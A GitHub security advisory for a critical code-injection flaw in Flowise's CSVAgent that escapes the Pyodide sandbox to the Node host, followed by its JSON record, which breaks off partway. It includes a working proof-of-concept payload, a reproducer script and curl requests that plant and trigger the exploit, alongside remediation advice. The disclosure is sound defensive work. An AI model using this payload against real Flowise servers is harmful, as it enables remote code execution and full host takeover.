GHSA-4J8X-X6V7-W9RQ
Vulnerability from github – Published: 2026-08-04 17:43 – Updated: 2026-08-04 17:43Summary
Flowise's CSVAgent interpolates an attacker-controlled segment of the
csvFile data URI directly into a Python source-code template that is then
executed by Pyodide. Because Pyodide is loaded with the default js bridge
to globalThis (which on Node.js exposes eval and dynamic import()), the
attacker can break out of the Python string literal, hand a JS string to
js.eval, dynamically import any Node built-in module (fs, child_process,
…), and execute arbitrary file I/O or OS commands as the Flowise process.
The two validator paths around this code (validatePythonCodeForDataFrame
and validateCustomReadCSVFunction) are never applied to the bootstrap
template.
A workspace user with chatflows:create (or any agentflows/chatflows
update permission) plants a CSV Agent node with a crafted csvFile. Once the
chatflow is exposed via the (whitelisted, public) POST /api/v1/prediction/:id
endpoint, any unauthenticated request triggers the host RCE.
Details
Vulnerable file: packages/components/nodes/agents/CSVAgent/CSVAgent.ts
The run() method extracts the file segment from the data URI by splitting on
, and using two pop() calls (lines 127–138):
} else {
if (csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']')) {
files = JSON.parse(csvFileBase64)
} else {
files = [csvFileBase64]
}
for (const file of files) {
if (!file) continue
const splitDataURI = file.split(',')
splitDataURI.pop() // discards trailing filename segment
base64String += splitDataURI.pop() ?? '' // captures the segment we attack
}
}
The captured base64String is then interpolated verbatim into a Python
source string at lines 156–171:
const code = `import pandas as pd
import base64
from io import StringIO
import json
base64_string = "${base64String}" // ← line 161: interpolation sink
decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))
df = pd.${customReadCSVFunc}
my_dict = df.dtypes.astype(str).to_dict()
print(my_dict)
json.dumps(my_dict)`
dataframeColDict = await pyodide.runPythonAsync(code) // ← line 171: sink
Validator gaps:
validateCustomReadCSVFunction(customReadCSVFunc)runs on line 147, but this only validates thecustomReadCSVfield, notbase64String.validatePythonCodeForDataFrame(pythonCode)runs on line 198, but only against the LLM-emitted Python that runs later — never against this bootstrap template.- No content check (
^[A-Za-z0-9+/=]*$) is applied tobase64Stringbefore interpolation.
Pyodide configuration (packages/components/nodes/agents/CSVAgent/core.ts,
lines 7–16):
export async function LoadPyodide(): Promise<PyodideInterface> {
if (pyodideInstance === undefined) {
const { loadPyodide } = await import('pyodide')
const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') }
pyodideInstance = await loadPyodide(obj)
await pyodideInstance.loadPackage(['pandas', 'numpy'])
}
return pyodideInstance
}
Pyodide is loaded with default options. On Node.js, the default js module
inside Pyodide bridges to globalThis, exposing the JS eval function and
top-level dynamic import(). From injected Python, the attacker runs:
import js
await js.eval(
"(async () => {"
" const fs = await import('fs');"
" fs.writeFileSync('proof.txt', 'pwned');"
"})()"
)
…which executes in the host Node.js process, not inside Pyodide's WASM
sandbox. Substituting await import('child_process') for await import('fs')
yields arbitrary OS-command execution via cp.execSync(...) with the same
primitive.
Node-version note. The original PoC for this issue used
js.process.mainModule.require("child_process"), which is a one-liner but only works on Node ≤ 13 becauseprocess.mainModulewas deprecated and now returnsundefinedon Node 14+. Thejs.eval+ dynamic-import()form above works on any Node 13.2+ in both CommonJS and ESM contexts, and was confirmed end-to-end against a stockflowise@3.1.2running on Node 20.20.2 — see Verified end-to-end against live Flowise below.
Trigger path (post-plant): the route POST /api/v1/prediction/:id is in
WHITELIST_URLS (packages/server/src/utils/constants.ts:12); when the
chatflow has no apikeyid set, it is reachable unauthenticated. A prediction
request runs the chatflow, instantiates CSVAgent, and executes the malicious
bootstrap.
PoC
Verified end-to-end on the cloned repo (commit
a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d, the same commit the prior audit
was based on).
Reproducer setup
Two files. Save the first as package.json, the second as
repro_a1_pyodide.js, then npm install && node repro_a1_pyodide.js in the
same directory.
package.json:
{
"name": "poc-flowise-s1",
"version": "1.0.0",
"type": "commonjs",
"dependencies": {
"pyodide": "^0.29.3"
}
}
repro_a1_pyodide.js — mirrors CSVAgent.ts:127-138 (the data-URI
parser) and :156-171 (the Python template), then runs the assembled Python
through real Pyodide. The injection segment is checked for commas before
assembly to confirm it cannot be fragmented by the JS-side split(',').
// Full host-RCE PoC for Flowise CSVAgent base64-injection.
//
// Loads real pyodide (matching how core.ts:LoadPyodide() boots it) and runs
// the Python that CSVAgent.ts:156-170 would assemble for an attacker-controlled
// csvFile data URI. Demonstrates:
// 1. JS-side template-literal interpolation produces malicious Python
// 2. validatePythonCodeForDataFrame is bypassed (it never inspects this code path)
// 3. Pyodide-on-Node `js` bridge reaches Node's fs module via dynamic
// import('fs') -> host file write
//
// CONSTRAINTS:
// * csvFile is split on `,` by the agent (CSVAgent.ts:135-137) — segment[2]
// of the data URI is what becomes `base64_string`, so this segment must
// contain NO raw `,` bytes.
// * Inside a Python double-quoted string literal, `,` is the escape
// for `,`. The data-URI parser sees the 6 raw bytes `\`, `u`, `0`, `0`,
// `2`, `c` (no commas), but Python's lexer turns them into commas at
// runtime — letting us pass multiple arguments to JS functions inside
// the Python source.
//
// NODE-VERSION NOTE: an earlier revision of this PoC used
// `cp = js.process.mainModule.require("child_process"); cp.execSync(...)`
// which is shorter but only works on Node ≤ 13 — `process.mainModule` was
// deprecated and now returns `undefined` on Node 14+, so the inner
// `.require(...)` silently no-ops. The `js.eval` + dynamic-`import()` form
// below works on any Node 13.2+ in both CommonJS and ESM contexts and was
// confirmed end-to-end against `flowise@3.1.2` running on Node 20.20.2.
const fs = require('fs')
const path = require('path')
const { loadPyodide } = require('pyodide')
const proofName = 'flowise_a1_pyodide_proof.txt'
const proofPath = path.resolve(__dirname, proofName)
const proofMarker = 'FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import'
// --- Attacker payload (Python; comma-free) ----------------------------------
// Closes the `base64_string = "` literal with `";`, runs malicious Python,
// then `#` comments out the surviving closing `"` so the rest of the
// bootstrap template still parses.
const pythonInjection =
'";\n' +
'import js\n' +
`await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('${proofName}'\\u002c '${proofMarker}'); })()")\n` +
'#'
// Sanity: any commas would fragment the injection on the JS side.
if (pythonInjection.includes(',')) {
throw new Error('PoC bug: injection segment contains a comma — would be split by csvFile.split(",")')
}
const csvFile = `data:text/csv;base64,A,${pythonInjection},IGNORED`
// --- JS side: mirror CSVAgent.ts:127-138 ------------------------------------
const csvFileBase64 = csvFile
const files = csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']') ? JSON.parse(csvFileBase64) : [csvFileBase64]
let base64String = ''
for (const file of files) {
if (!file) continue
const splitDataURI = file.split(',')
splitDataURI.pop()
base64String += splitDataURI.pop() ?? ''
}
// --- JS side: mirror CSVAgent.ts:156-170 (pandas import omitted) ------------
// We omit `import pandas as pd` so we don't need to load pandas (~30 MB) just
// to demonstrate the injection. The real flow's pyodide instance preloads
// pandas via LoadPyodide() (core.ts:12). The injection point and validator
// bypass are identical either way.
const code = `import base64
from io import StringIO
import json
base64_string = "${base64String}"
decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))
print("post-injection bootstrap continued; base64_string =", repr(base64_string))
`
console.log('--- Assembled Python (passed verbatim to pyodide.runPythonAsync) ---')
console.log(code)
console.log('--- end ---\n')
;(async () => {
try { fs.unlinkSync(proofPath) } catch {}
console.log('[*] Loading pyodide...')
const pyodide = await loadPyodide()
console.log('[*] Pyodide loaded; running attacker-assembled Python...\n')
try {
await pyodide.runPythonAsync(code)
} catch (e) {
console.log('[!] runPythonAsync threw (the bootstrap may fail AFTER the injection has executed):')
console.log(String(e).split('\n').slice(0, 8).join('\n'))
}
// give the spawned writeFileSync a moment to flush
await new Promise((r) => setTimeout(r, 500))
console.log('\n--- Proof file at ' + proofPath + ' ---')
if (fs.existsSync(proofPath)) {
console.log(fs.readFileSync(proofPath, 'utf-8').trim())
console.log('\n[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.')
} else {
console.log('[-] Proof file not present.')
}
})()
What gets assembled
After the two pop() calls in CSVAgent.ts:135-137 extract the third comma-separated segment, the Python text passed to pyodide.runPythonAsync becomes (note that Python's lexer resolves the , escapes inside the string literal back to commas, so the JS code actually receives fs.writeFileSync('proof', 'marker')):
import base64
from io import StringIO
import json
base64_string = "";
import js
await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('flowise_a1_pyodide_proof.txt', 'FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import'); })()")
#"
decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))
...
The "; closes line 161's string literal; the injected statements execute
(awaiting the JS Promise that writes the proof file); the trailing #
comments out the dangling " so the rest of the bootstrap parses. The
remaining b64decode("") returns b'' and pd.read_csv (in the live
template) then raises pandas.errors.EmptyDataError, but the
fs.writeFileSync(...) call has already fired in the Node host.
Observed output (after deleting any prior proof file)
[*] Loading pyodide...
[*] Pyodide loaded; running attacker-assembled Python...
--- Proof file at .../flowise_a1_pyodide_proof.txt ---
FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import
[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.
The proof file flowise_a1_pyodide_proof.txt is written by the Node host
process via the Pyodide js bridge → js.eval(...) →
(await import('fs')).writeFileSync(...), confirming the escape from the
Pyodide WASM sandbox. The standalone repro omits import pandas, so no
post-injection exception is raised — but the live template (pandas.read_csv
on the empty buffer) throws pandas.errors.EmptyDataError after the host
write has already happened, which is exactly the symptom an operator sees in
the chat panel.
Verified end-to-end against live Flowise
The standalone repro above proves the validator-bypass + sandbox-escape
primitive in isolation. The same payload was additionally verified against a
stock flowise@3.1.2 install on Node 20.20.2:
| Step | Action |
|---|---|
| 1 | npm install -g flowise (Node 20.20.2, Linux x64) |
| 2 | flowise start → bind on :3000 |
| 3 | UI: create admin + dummy OpenAI credential (any string for the API key — never validated; the exploit fires before the LLM is invoked) |
| 4 | Plant the attached evil-csvagent-flow.json in the chatflows DB (UI import or POST /api/v1/chatflows) |
| 5 | Open the chatflow → click chat → send any message |
| 6 | Chat panel shows pandas.errors.EmptyDataError: No columns to parse from file |
| 7 | /home/<user>/flowise_a1_proof.txt is now present, 46 bytes, content FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import, owner-uid matches the Flowise process uid |
Reproduction artifacts (evil-csvagent-flow.json, build-flow-v2.js,
test-flow.js, the captured evidence-bundle.txt) live at
pocs/S1-csvagent-csvfile-rce/triage-response/. The chatflow JSON is built
verbatim from Flowise's bundled marketplaces/chatflows/CSV Agent.json
template with three minimal edits — the malicious csvFile data URI on
csvAgent_0, a placeholder credential on chatOpenAI_0, and the sticky
note removed — so it imports cleanly into any Flowise 3.x without the
reactFlowNodeData.inputParams.find(...) 500 the maintainer initially saw
when handed a hand-crafted minimal flow.
End-to-end against a live Flowise instance
The local PoC above proves the validator-bypass + sandbox-escape primitive. To reach the same primitive over HTTP against a deployed Flowise, two requests suffice:
# Step 1 — authenticated chatflow author (any user with chatflows:create
# in OSS, this is typically every registered user) plants the flow.
# evil-csvagent-flow.json is a chatflow whose csvAgent node has
# inputs.csvFile = "data:text/csv;base64,A,<comma-free python payload>,IGNORED"
curl -X POST https://target/api/v1/chatflows \
-H "Authorization: Bearer <api-key with chatflows:create>" \
-H "Content-Type: application/json" \
-d @evil-csvagent-flow.json
# → returns chatflow id, e.g. "<flow-uuid>"
# Step 2 — anyone, no auth (the route is whitelisted at
# packages/server/src/utils/constants.ts:12) triggers execution:
curl -X POST https://target/api/v1/prediction/<flow-uuid> \
-H "Content-Type: application/json" \
-d '{"question":"go"}'
Step 1 is the only authenticated step; Step 2 is unauthenticated when
chatflow.apikeyid is unset (the default for newly created chatflows).
Impact
- Class: Remote Code Execution via Python-template injection escaping the
Pyodide sandbox through the
jsbridge. - Affected: every Flowise deployment that exposes a chatflow containing a
CSVAgentnode wherecsvFileis operator-supplied (i.e., overridable vianodeOverridesfor the API caller, or planted by any user with chatflow edit permission). - Prerequisites: one user with
chatflows:create/chatflows:update/agentflows:create/agentflows:updateto plant the chatflow once. The trigger is unauthenticated when the chatflow has noapikeyidset (the default for newly created chatflows). - Result: arbitrary OS-command execution as the Flowise process. Direct access to Flowise's encrypted-credentials key file, the entire database, the host filesystem, and any network resource the host can reach.
Metadata
- Affected versions: Confirmed at commit
a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d(main, 2026-04-28) and atflowise@3.1.2. The vulnerable code (splitDataURI.pop()+ template-string interpolation) appears unchanged across this range. Earlier 3.x versions with the same data-URI parsing pattern are also believed to be affected, but I did not verify each historical tag. - Fixed version: Unpatched at the audited commit.
- CVSS v3.1:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H→ Base score 9.9 (Critical). - AV:N — public
/api/v1/prediction/:idtrigger. - AC:L — deterministic; no race / timing.
- PR:L — one user with
chatflows:create(or equivalent) plants the chatflow. In OSS deployments, any registered user typically has this. - UI:N — no user interaction required at trigger time.
- S:C — Pyodide's WASM/Python sandbox is the intended security authority
for this code path; the
jsbridge escape and the validator bypass break out to the Node host process. - C:H / I:H / A:H — full host compromise.
- CWE: CWE-94 (Improper Control of Generation of Code: 'Code Injection'); more specifically CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code: 'Eval Injection').
Remediation
Maintainer fix (preferred — eliminates string-interpolation entirely):
pass the base64 value through Pyodide's globals.set API instead of
template-string interpolation. In packages/components/nodes/agents/CSVAgent/CSVAgent.ts,
replace the construction at lines 156–171 with something like:
const pyodide = await LoadPyodide()
pyodide.globals.set('base64_string', base64String)
const code = `import pandas as pd
import base64
from io import StringIO
import json
decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))
df = pd.${customReadCSVFunc}
my_dict = df.dtypes.astype(str).to_dict()
print(my_dict)
json.dumps(my_dict)`
dataframeColDict = await pyodide.runPythonAsync(code)
This keeps the value as a Python str object that never enters the source
text. Apply the same change to AirtableAgent.ts if it follows the same
pattern.
Defense in depth (recommended as well):
1. Validate base64String against ^[A-Za-z0-9+/=]*$ before interpolation
(rejects every escape character used in the PoC).
2. Disable Pyodide's js module on load. Pyodide supports loadPyodide({ jsglobals: {} })
or the js-module-removal recipe; either prevents the bridge to
globalThis.process on Node.js. Apply in
packages/components/nodes/agents/CSVAgent/core.ts:LoadPyodide.
3. Run validatePythonCodeForDataFrame (or a stricter equivalent) over the
bootstrap template, not only over the LLM-emitted code. The current
ordering inverts the trust assumption.
4. Add a positive allow-list to validateCustomReadCSVFunction enumerating
only safe pandas readers (e.g., read_csv and column-typed forms);
exclude read_pickle, read_html, read_xml, read_parquet,
read_orc, read_feather, read_json (these are independently
exploitable — see S2/S3 in the submission roadmap).
User mitigations until a patch ships:
- Set chatflow.apikeyid on every chatflow that uses CSVAgent so
validateFlowAPIKey enforces auth on /api/v1/prediction/:id.
- Set chatbotConfig.allowedOrigins to a strict list (note: this only
defends against browser callers, not curl/server-side).
- Restrict chatflows:create / agentflows:create permissions to trusted
users only.
- Where possible, strip csvFile from the nodeOverrides allow-list on
affected chatflows so it cannot be supplied at prediction time.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise-components"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-69264"
],
"database_specific": {
"cwe_ids": [
"CWE-94",
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-04T17:43:48Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\nFlowise\u0027s `CSVAgent` interpolates an attacker-controlled segment of the\n`csvFile` data URI directly into a Python source-code template that is then\nexecuted by Pyodide. Because Pyodide is loaded with the default `js` bridge\nto `globalThis` (which on Node.js exposes `eval` and dynamic `import()`), the\nattacker can break out of the Python string literal, hand a JS string to\n`js.eval`, dynamically import any Node built-in module (`fs`, `child_process`,\n\u2026), and execute arbitrary file I/O or OS commands as the Flowise process.\nThe two validator paths around this code (`validatePythonCodeForDataFrame`\nand `validateCustomReadCSVFunction`) are never applied to the bootstrap\ntemplate.\n\nA workspace user with `chatflows:create` (or any `agentflows`/`chatflows`\nupdate permission) plants a CSV Agent node with a crafted `csvFile`. Once the\nchatflow is exposed via the (whitelisted, public) `POST /api/v1/prediction/:id`\nendpoint, *any unauthenticated* request triggers the host RCE.\n\n### Details\n\n**Vulnerable file:** `packages/components/nodes/agents/CSVAgent/CSVAgent.ts`\n\nThe `run()` method extracts the file segment from the data URI by splitting on\n`,` and using two `pop()` calls (lines 127\u2013138):\n\n```ts\n} else {\n if (csvFileBase64.startsWith(\u0027[\u0027) \u0026\u0026 csvFileBase64.endsWith(\u0027]\u0027)) {\n files = JSON.parse(csvFileBase64)\n } else {\n files = [csvFileBase64]\n }\n\n for (const file of files) {\n if (!file) continue\n const splitDataURI = file.split(\u0027,\u0027)\n splitDataURI.pop() // discards trailing filename segment\n base64String += splitDataURI.pop() ?? \u0027\u0027 // captures the segment we attack\n }\n}\n```\n\nThe captured `base64String` is then **interpolated verbatim** into a Python\nsource string at lines 156\u2013171:\n\n```ts\nconst code = `import pandas as pd\nimport base64\nfrom io import StringIO\nimport json\n\nbase64_string = \"${base64String}\" // \u2190 line 161: interpolation sink\n\ndecoded_data = base64.b64decode(base64_string)\ncsv_data = StringIO(decoded_data.decode(\u0027utf-8\u0027))\n\ndf = pd.${customReadCSVFunc}\nmy_dict = df.dtypes.astype(str).to_dict()\nprint(my_dict)\njson.dumps(my_dict)`\ndataframeColDict = await pyodide.runPythonAsync(code) // \u2190 line 171: sink\n```\n\n**Validator gaps:**\n\n- `validateCustomReadCSVFunction(customReadCSVFunc)` runs on line 147, but\n this only validates the `customReadCSV` field, not `base64String`.\n- `validatePythonCodeForDataFrame(pythonCode)` runs on line 198, but only\n against the *LLM-emitted* Python that runs later \u2014 never against this\n bootstrap template.\n- No content check (`^[A-Za-z0-9+/=]*$`) is applied to `base64String` before\n interpolation.\n\n**Pyodide configuration** (`packages/components/nodes/agents/CSVAgent/core.ts`,\nlines 7\u201316):\n\n```ts\nexport async function LoadPyodide(): Promise\u003cPyodideInterface\u003e {\n if (pyodideInstance === undefined) {\n const { loadPyodide } = await import(\u0027pyodide\u0027)\n const obj: any = { packageCacheDir: path.join(getUserHome(), \u0027.flowise\u0027, \u0027pyodideCacheDir\u0027) }\n pyodideInstance = await loadPyodide(obj)\n await pyodideInstance.loadPackage([\u0027pandas\u0027, \u0027numpy\u0027])\n }\n return pyodideInstance\n}\n```\n\nPyodide is loaded with default options. On Node.js, the default `js` module\ninside Pyodide bridges to `globalThis`, exposing the JS `eval` function and\ntop-level dynamic `import()`. From injected Python, the attacker runs:\n\n```python\nimport js\nawait js.eval(\n \"(async () =\u003e {\"\n \" const fs = await import(\u0027fs\u0027);\"\n \" fs.writeFileSync(\u0027proof.txt\u0027, \u0027pwned\u0027);\"\n \"})()\"\n)\n```\n\n\u2026which executes in the host Node.js process, **not** inside Pyodide\u0027s WASM\nsandbox. Substituting `await import(\u0027child_process\u0027)` for `await import(\u0027fs\u0027)`\nyields arbitrary OS-command execution via `cp.execSync(...)` with the same\nprimitive.\n\n\u003e **Node-version note.** The original PoC for this issue used\n\u003e `js.process.mainModule.require(\"child_process\")`, which is a one-liner but\n\u003e only works on Node \u2264 13 because `process.mainModule` was deprecated and now\n\u003e returns `undefined` on Node 14+. The `js.eval` + dynamic-`import()` form\n\u003e above works on any Node 13.2+ in both CommonJS and ESM contexts, and was\n\u003e confirmed end-to-end against a stock `flowise@3.1.2` running on Node\n\u003e 20.20.2 \u2014 see [Verified end-to-end against live Flowise](#verified-end-to-end-against-live-flowise)\n\u003e below.\n\n**Trigger path (post-plant):** the route `POST /api/v1/prediction/:id` is in\n`WHITELIST_URLS` (`packages/server/src/utils/constants.ts:12`); when the\nchatflow has no `apikeyid` set, it is reachable unauthenticated. A prediction\nrequest runs the chatflow, instantiates `CSVAgent`, and executes the malicious\nbootstrap.\n\n### PoC\n\nVerified end-to-end on the cloned repo (commit\n`a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d`, the same commit the prior audit\nwas based on).\n\n#### Reproducer setup\n\nTwo files. Save the first as `package.json`, the second as\n`repro_a1_pyodide.js`, then `npm install \u0026\u0026 node repro_a1_pyodide.js` in the\nsame directory.\n\n**`package.json`:**\n\n```json\n{\n \"name\": \"poc-flowise-s1\",\n \"version\": \"1.0.0\",\n \"type\": \"commonjs\",\n \"dependencies\": {\n \"pyodide\": \"^0.29.3\"\n }\n}\n```\n\n**`repro_a1_pyodide.js`** \u2014 mirrors `CSVAgent.ts:127-138` (the data-URI\nparser) and `:156-171` (the Python template), then runs the assembled Python\nthrough real Pyodide. The injection segment is checked for commas before\nassembly to confirm it cannot be fragmented by the JS-side `split(\u0027,\u0027)`.\n\n```js\n// Full host-RCE PoC for Flowise CSVAgent base64-injection.\n//\n// Loads real pyodide (matching how core.ts:LoadPyodide() boots it) and runs\n// the Python that CSVAgent.ts:156-170 would assemble for an attacker-controlled\n// csvFile data URI. Demonstrates:\n// 1. JS-side template-literal interpolation produces malicious Python\n// 2. validatePythonCodeForDataFrame is bypassed (it never inspects this code path)\n// 3. Pyodide-on-Node `js` bridge reaches Node\u0027s fs module via dynamic\n// import(\u0027fs\u0027) -\u003e host file write\n//\n// CONSTRAINTS:\n// * csvFile is split on `,` by the agent (CSVAgent.ts:135-137) \u2014 segment[2]\n// of the data URI is what becomes `base64_string`, so this segment must\n// contain NO raw `,` bytes.\n// * Inside a Python double-quoted string literal, `,` is the escape\n// for `,`. The data-URI parser sees the 6 raw bytes `\\`, `u`, `0`, `0`,\n// `2`, `c` (no commas), but Python\u0027s lexer turns them into commas at\n// runtime \u2014 letting us pass multiple arguments to JS functions inside\n// the Python source.\n//\n// NODE-VERSION NOTE: an earlier revision of this PoC used\n// `cp = js.process.mainModule.require(\"child_process\"); cp.execSync(...)`\n// which is shorter but only works on Node \u2264 13 \u2014 `process.mainModule` was\n// deprecated and now returns `undefined` on Node 14+, so the inner\n// `.require(...)` silently no-ops. The `js.eval` + dynamic-`import()` form\n// below works on any Node 13.2+ in both CommonJS and ESM contexts and was\n// confirmed end-to-end against `flowise@3.1.2` running on Node 20.20.2.\n\nconst fs = require(\u0027fs\u0027)\nconst path = require(\u0027path\u0027)\nconst { loadPyodide } = require(\u0027pyodide\u0027)\n\nconst proofName = \u0027flowise_a1_pyodide_proof.txt\u0027\nconst proofPath = path.resolve(__dirname, proofName)\nconst proofMarker = \u0027FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import\u0027\n\n// --- Attacker payload (Python; comma-free) ----------------------------------\n// Closes the `base64_string = \"` literal with `\";`, runs malicious Python,\n// then `#` comments out the surviving closing `\"` so the rest of the\n// bootstrap template still parses.\nconst pythonInjection =\n \u0027\";\\n\u0027 +\n \u0027import js\\n\u0027 +\n `await js.eval(\"(async () =\u003e { const fs = await import(\u0027fs\u0027); fs.writeFileSync(\u0027${proofName}\u0027\\\\u002c \u0027${proofMarker}\u0027); })()\")\\n` +\n \u0027#\u0027\n\n// Sanity: any commas would fragment the injection on the JS side.\nif (pythonInjection.includes(\u0027,\u0027)) {\n throw new Error(\u0027PoC bug: injection segment contains a comma \u2014 would be split by csvFile.split(\",\")\u0027)\n}\n\nconst csvFile = `data:text/csv;base64,A,${pythonInjection},IGNORED`\n\n// --- JS side: mirror CSVAgent.ts:127-138 ------------------------------------\nconst csvFileBase64 = csvFile\nconst files = csvFileBase64.startsWith(\u0027[\u0027) \u0026\u0026 csvFileBase64.endsWith(\u0027]\u0027) ? JSON.parse(csvFileBase64) : [csvFileBase64]\nlet base64String = \u0027\u0027\nfor (const file of files) {\n if (!file) continue\n const splitDataURI = file.split(\u0027,\u0027)\n splitDataURI.pop()\n base64String += splitDataURI.pop() ?? \u0027\u0027\n}\n\n// --- JS side: mirror CSVAgent.ts:156-170 (pandas import omitted) ------------\n// We omit `import pandas as pd` so we don\u0027t need to load pandas (~30 MB) just\n// to demonstrate the injection. The real flow\u0027s pyodide instance preloads\n// pandas via LoadPyodide() (core.ts:12). The injection point and validator\n// bypass are identical either way.\nconst code = `import base64\nfrom io import StringIO\nimport json\n\nbase64_string = \"${base64String}\"\n\ndecoded_data = base64.b64decode(base64_string)\ncsv_data = StringIO(decoded_data.decode(\u0027utf-8\u0027))\nprint(\"post-injection bootstrap continued; base64_string =\", repr(base64_string))\n`\n\nconsole.log(\u0027--- Assembled Python (passed verbatim to pyodide.runPythonAsync) ---\u0027)\nconsole.log(code)\nconsole.log(\u0027--- end ---\\n\u0027)\n\n;(async () =\u003e {\n try { fs.unlinkSync(proofPath) } catch {}\n\n console.log(\u0027[*] Loading pyodide...\u0027)\n const pyodide = await loadPyodide()\n console.log(\u0027[*] Pyodide loaded; running attacker-assembled Python...\\n\u0027)\n\n try {\n await pyodide.runPythonAsync(code)\n } catch (e) {\n console.log(\u0027[!] runPythonAsync threw (the bootstrap may fail AFTER the injection has executed):\u0027)\n console.log(String(e).split(\u0027\\n\u0027).slice(0, 8).join(\u0027\\n\u0027))\n }\n\n // give the spawned writeFileSync a moment to flush\n await new Promise((r) =\u003e setTimeout(r, 500))\n\n console.log(\u0027\\n--- Proof file at \u0027 + proofPath + \u0027 ---\u0027)\n if (fs.existsSync(proofPath)) {\n console.log(fs.readFileSync(proofPath, \u0027utf-8\u0027).trim())\n console.log(\u0027\\n[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.\u0027)\n } else {\n console.log(\u0027[-] Proof file not present.\u0027)\n }\n})()\n```\n\n#### What gets assembled\n\nAfter the two `pop()` calls in `CSVAgent.ts:135-137` extract the third comma-separated segment, the Python text passed to `pyodide.runPythonAsync` becomes (note that Python\u0027s lexer resolves the `,` escapes inside the string literal back to commas, so the JS code actually receives `fs.writeFileSync(\u0027proof\u0027, \u0027marker\u0027)`):\n\n```python\nimport base64\nfrom io import StringIO\nimport json\n\nbase64_string = \"\";\nimport js\nawait js.eval(\"(async () =\u003e { const fs = await import(\u0027fs\u0027); fs.writeFileSync(\u0027flowise_a1_pyodide_proof.txt\u0027, \u0027FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import\u0027); })()\")\n#\"\n\ndecoded_data = base64.b64decode(base64_string)\ncsv_data = StringIO(decoded_data.decode(\u0027utf-8\u0027))\n...\n```\n\nThe `\";` closes line 161\u0027s string literal; the injected statements execute\n(awaiting the JS Promise that writes the proof file); the trailing `#`\ncomments out the dangling `\"` so the rest of the bootstrap parses. The\nremaining `b64decode(\"\")` returns `b\u0027\u0027` and `pd.read_csv` (in the live\ntemplate) then raises `pandas.errors.EmptyDataError`, but the\n`fs.writeFileSync(...)` call has already fired in the Node host.\n\n#### Observed output (after deleting any prior proof file)\n\n```\n[*] Loading pyodide...\n[*] Pyodide loaded; running attacker-assembled Python...\n\n--- Proof file at .../flowise_a1_pyodide_proof.txt ---\nFLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import\n\n[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.\n```\n\nThe proof file `flowise_a1_pyodide_proof.txt` is written by the Node host\nprocess via the Pyodide `js` bridge \u2192 `js.eval(...)` \u2192\n`(await import(\u0027fs\u0027)).writeFileSync(...)`, confirming the escape from the\nPyodide WASM sandbox. The standalone repro omits `import pandas`, so no\npost-injection exception is raised \u2014 but the live template (`pandas.read_csv`\non the empty buffer) throws `pandas.errors.EmptyDataError` *after* the host\nwrite has already happened, which is exactly the symptom an operator sees in\nthe chat panel.\n\n#### Verified end-to-end against live Flowise\n\nThe standalone repro above proves the validator-bypass + sandbox-escape\nprimitive in isolation. The same payload was additionally verified against a\nstock `flowise@3.1.2` install on Node 20.20.2:\n\n| Step | Action |\n|---|---|\n| 1 | `npm install -g flowise` (Node 20.20.2, Linux x64) |\n| 2 | `flowise start` \u2192 bind on `:3000` |\n| 3 | UI: create admin + dummy OpenAI credential (any string for the API key \u2014 never validated; the exploit fires before the LLM is invoked) |\n| 4 | Plant the attached `evil-csvagent-flow.json` in the chatflows DB (UI import or `POST /api/v1/chatflows`) |\n| 5 | Open the chatflow \u2192 click chat \u2192 send any message |\n| 6 | Chat panel shows `pandas.errors.EmptyDataError: No columns to parse from file` |\n| 7 | `/home/\u003cuser\u003e/flowise_a1_proof.txt` is now present, 46 bytes, content `FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import`, owner-uid matches the Flowise process uid |\n\nReproduction artifacts (`evil-csvagent-flow.json`, `build-flow-v2.js`,\n`test-flow.js`, the captured `evidence-bundle.txt`) live at\n`pocs/S1-csvagent-csvfile-rce/triage-response/`. The chatflow JSON is built\nverbatim from Flowise\u0027s bundled `marketplaces/chatflows/CSV Agent.json`\ntemplate with three minimal edits \u2014 the malicious `csvFile` data URI on\n`csvAgent_0`, a placeholder credential on `chatOpenAI_0`, and the sticky\nnote removed \u2014 so it imports cleanly into any Flowise 3.x without the\n`reactFlowNodeData.inputParams.find(...)` 500 the maintainer initially saw\nwhen handed a hand-crafted minimal flow.\n\n#### End-to-end against a live Flowise instance\n\nThe local PoC above proves the validator-bypass + sandbox-escape primitive.\nTo reach the same primitive over HTTP against a deployed Flowise, two\nrequests suffice:\n\n```bash\n# Step 1 \u2014 authenticated chatflow author (any user with chatflows:create\n# in OSS, this is typically every registered 